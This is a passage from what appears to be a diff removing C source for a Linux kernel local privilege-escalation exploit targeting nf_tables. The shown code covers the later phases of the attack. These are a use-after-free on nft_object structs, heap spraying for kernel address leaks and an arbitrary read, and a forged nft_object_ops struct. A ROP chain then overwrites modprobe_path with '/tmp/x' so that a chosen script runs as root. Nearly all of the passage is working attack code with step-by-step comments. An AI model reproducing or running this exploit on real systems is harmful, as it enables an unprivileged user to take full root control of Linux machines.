printf("\t[+] Leaked: prepare_kernel_cred() @ 0x%lx\n", prepare_kernel_cred); - printf("\t[+] Leaked: commit_creds() @ 0x%lx\n", commit_creds); - - /* Cleanup (from phase 1) */ - - puts("\t[*] Cleaning up..."); - delete_table(TABLE_KLK_UAF_B); - - /* ===================== [ Phase 2 - ctx->table leak ] ===================== */ - - puts("[i] Phase 2 - ctx->table leak"); - -PHASE_2: - - /* - Our objective now is making nft_objects be allocated where our obj->key.name - string was, right as we did for the KASLR leak phase. - - To do so, we need to provide a string of 0xc8 - 1 bytes for the object name. - If we succeed, we will leak the first entry of one of the sprayed objects, - which is obj->list.next, and this one points to &ctx->table->objects - */ - - puts("\t[*] Triggering UAF on nft_object struct..."); - hlk_obj_name = str_repeat('E', 0xc8 - 1); - create_uaf(TABLE_HLK_UAF_A, TABLE_HLK_UAF_B, hlk_obj_name, SET_HLK_UAF, OBJECT_TYPE_LIMIT, 1, TABLE_OBJ_SPRAY_A, 0); - delete_table(TABLE_HLK_UAF_A); - - puts("\t[*] Spraying with nft_object structs..."); - tbl_leaked_addr = spray_nft_object(TABLE_OBJ_SPRAY_A, 129, TABLE_HLK_UAF_B, SET_HLK_UAF); - if(tbl_leaked_addr == 0 || (tbl_leaked_addr & 0xffff000000000000) != 0xffff000000000000) { - delete_table(TABLE_HLK_UAF_B); - delete_table(TABLE_OBJ_SPRAY_A); - bye("[-] ctx->table leak failed!"); - } - - tbl_leaked_addr = tbl_leaked_addr - OFF_TO_OBJ_LST; - - printf("\t[+] Leaked: ctx->table (\"table3\") @ 0x%lx\n", tbl_leaked_addr); - printf("\t[+] Leaked: &ctx->table->objects (\"table3\") @ 0x%lx\n", tbl_leaked_addr + OFF_TO_OBJ_LST); - - /* ===================== [ Phase 3 - ctx->table->objects.next leak ] ===================== */ - - puts("[i] Phase 3 - ctx->table->objects.next leak"); - - sleep(1.2); - -PHASE_3: - - /* - At this point, we have a known address of an address where we can store contents by - spraying, which is exactly what we need for a fake nft_object_ops struct residing in - the kernel heap. - - To retrieve this address, we can prepare another UAF condition, and take over the - contents of the nft_object, use nla_memdup() spraying through table creation to - replace its contents and place in obj->key.name an arbitrary address, this way - we get a full arbitrary read primitive, that let us read bytes at any known - valid address. We are though a bit limited in that this pointer is treated as - a string pointer, and we will be able to read until a null terminator is found. - - Using this arbitrary read primitive, we will read the contents of &ctx->table->objects - which is ctx->table->objects.next, and the address contained there is the address of - one of the nft_objects we used to spray. - */ - - sp_d = calloc(0xc8, sizeof(char)); - if(!sp_d) - bye("[-] Error at calloc()"); - sp_d_l = (uint64_t *)sp_d; - - memset(sp_d, 'A', 0xc8); - - /* obj->key-name entry */ - sp_d_l[4] = (tbl_leaked_addr + OFF_TO_OBJ_LST) + 1; // "+ 1" because first byte will be null - - puts("\t[*] Triggering UAF on nft_object struct..."); - create_uaf(TABLE_RD_UAF_A, TABLE_RD_UAF_B, OBJ_RD_UAF, SET_RD_UAF, OBJECT_TYPE_COUNTER, 0, NULL, 0); - delete_table(TABLE_RD_UAF_A); - spray_memdup(sp_d, 0xc8, 2048); - - sleep(1); - - obj_leaked_addr = parse_uaf_obj_name_leak(TABLE_RD_UAF_B, SET_RD_UAF, 0x40 + 8, 1); - if(obj_leaked_addr == 0 || (obj_leaked_addr & 0xffff000000000000) != 0xffff000000000000) { - puts("[-] *ctx->table->objects leak failed!"); - goto FINAL_CLEANUP; - } - - printf("\t[+] Leaked: ctx->table->objects.next @ 0x%lx\n", obj_leaked_addr); - - /* ===================== [ Phase 4 - Craft fake nft_object_ops struct ] ===================== */ - - puts("[i] Phase 4 - Craft fake nft_object_ops struct"); - -PHASE_4: - - /* - We know the address of an object for which we can control its contents. We need now - to achieve this last by deleting the table where these objects reside, to then spray - with nla_memdup() allocations as a result of table creation. This way we can place - any contents we want in these objects, and we know for certain one of them will be - the one for which we know the address. - - As a result, we will predict that in a specific known heap address there will be - a fake nft_object_ops struct, which we will use in the next phase for obj->ops->eval - function pointer hijacking. - */ - - puts("\t[*] Freeing sprayed nft_object structs..."); - delete_table(TABLE_OBJ_SPRAY_A); - - sp2_d = calloc(0xc8, sizeof(char)); - if(!sp2_d) - bye("[-] Error at calloc()"); - sp2_d_l = (uint64_t *)sp2_d; - - for(int i = 0 ; i < (0xc8 / sizeof(uint64_t)) ; i++) - sp_d_l[i] = stack_pivot_addr; // push rdi ; pop rsp ; add cl, cl ; ret - - puts("\t[*] Spraying with nla_memdup() allocations to craft fake nft_object_ops struct..."); - spray_memdup(sp_d, 0xc8, 4096); - - /* Cleanup (from phase 2, 3, 4) */ - puts("\t[*] Cleaning up..."); - delete_table(TABLE_RD_UAF_B); - delete_table(TABLE_HLK_UAF_B); - - puts("\t[+] Fake nft_object_ops struct should be in target memory!"); - - /* ===================== [ Phase 5 - Code execution ] ===================== */ - - puts("[i] Phase 5 - Code execution (ROP)"); - - sleep(2); - -PHASE_5: - /* - Finally, trigger UAF on the objects created at the very - beggining of the exploit. - */ - - delete_table(TABLE_RP_UAF_A); - - rop_d = calloc(0xc8, sizeof(char)); - if(!rop_d) - bye("[-] Error at calloc()"); - rop_d_l = (uint64_t *)rop_d; - - /* - We build a ROP chain in these sprayed nla_memdup() - allocations, with the hope that one of them end up - taking the chunk previously used by the nft_object - and for which we still keep a reference. - - The ROP chain will use a write-what-where gadget to - write our custom usermode helper for modprobe_path, - this will allow us to get a custom script of ours - be executed as root. - - Finally, we reach the KPTI trampoline for returning - to the userland. - - */ - - rop_d_l[0] = pop_rdx_ret; // pop rdx ; ret - rop_d_l[1] = modprobe_path; // modprobe_path - rop_d_l[2] = pop_rax_ret; // pop rax ; ret - rop_d_l[3] = 0x782f706d742f; // "/tmp/x\x00\x00" - rop_d_l[4] = mov_qptr_rdx_rax_ret; // mov qword ptr [rdx], rax ; ret - rop_d_l[5] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22 - rop_d_l[6] = 0x0000000000000000; // RAX - rop_d_l[7] = 0x0000000000000000; // RDI - rop_d_l[8] = user_rip; // user_rip - rop_d_l[9] = user_cs; // user_cs - rop_d_l[10] = user_rflags; // user_rflags - rop_d_l[11] = user_sp; // user_sp - rop_d_l[12] = user_ss; // user_ss - rop_d_l[13] = 0x4343434343434343; // dummy - rop_d_l[14] = 0x4343434343434343; // dummy - rop_d_l[15] = 0x4343434343434343; // dummy - rop_d_l[16] = obj_leaked_addr; // obj->ops (points to stack pivot: obj->ops->eval())s - - puts("\t[*] Spraying with nla_memdup() allocations containing ROP chain..."); - spray_memdup(rop_d, 0xc8, 4096); - - puts("\t[*] Triggering network hook..."); - - /* Prevent problems with the creation of sockets to trigger the hooks */ - system("ip link set dev lo up"); - - /* Set up server at TRIG_PORT in a new process */ - sfd = fork(); - if(sfd == 0) { - setup_trig_server(); - exit(0); - } - - /* Trigger the network hook we created for table TABLE_RP_UAF_B on the UAF-referenced object */ - cfd = fork(); - if(cfd == 0) { - trig_net_sock(); - exit(0); - } - - is_success = 1; - r = write(pipefd[1], &is_success, sizeof(int)); - if(r < 0) - return 1; - - sleep(10); - - /* ===================== [ Cleanup ] ===================== */ - -FINAL_CLEANUP: - kill(cfd, SIGKILL); - kill(sfd, SIGKILL); - close(fd); - delete_table(TABLE_RP_UAF_B); - cleanup_spray_tables(); - return 0; - -} - - - - -